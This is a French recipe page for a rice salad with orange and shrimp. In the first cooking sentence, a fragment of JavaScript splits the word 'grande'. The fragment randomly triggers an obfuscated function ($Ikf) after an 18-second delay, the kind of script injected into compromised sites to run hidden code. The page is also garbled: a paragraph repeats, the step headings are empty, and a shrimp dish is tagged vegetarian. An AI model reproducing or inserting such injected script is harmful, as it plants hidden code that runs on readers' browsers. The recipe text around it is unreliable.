Salade de riz à l’orange et aux crevettes
2018-02-13- Cuisine : Salade
- Thématique : Végétarien
- Niveau : Facile
Dans une grandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}ande quantité d’eau bouillante salée. Faites cuire le riz pendant 20 minutes. L’égouttez, rafraîchir le riz sous le robinet d’eau froide.
Ingrédients
Dans une grande quantité d'eau bouillante salée. Faites cuire le riz pendant 20 minutes. L’égouttez, rafraîchir le riz sous le robinet d'eau froide. Égouttez à nouveau et réservez. Pelez les oranges. Prélevez les quartiers en supprimant les membranes qui les recouvrent. Rincez, séchez et coupez en petits dés le 1/2 concombre. Pelez, émincez les oignons. Rincez, essorez, hachez le bouquet de ciboulette.
Dans un saladier préparez la sauce, en mélangeant le jus d'un citron, la moutarde, l'huile. Émulsionner avec un fouet, puis incorporez les ciboulettes. Mélangez délicatement et dégustezPréparation de la recette
Etape 1
Etape 2
Etape 3
Etape 4
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